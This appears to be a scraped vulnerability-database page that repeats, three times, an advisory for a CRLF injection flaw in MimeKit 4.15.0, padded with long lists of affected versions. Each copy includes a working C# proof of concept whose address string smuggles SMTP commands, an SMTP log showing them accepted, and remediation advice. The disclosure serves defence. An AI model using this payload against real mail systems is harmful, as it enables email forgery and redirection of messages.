            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

May 12, 2021

2.11.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Mar 12, 2021

2.10.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Dec 05, 2020

2.10.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
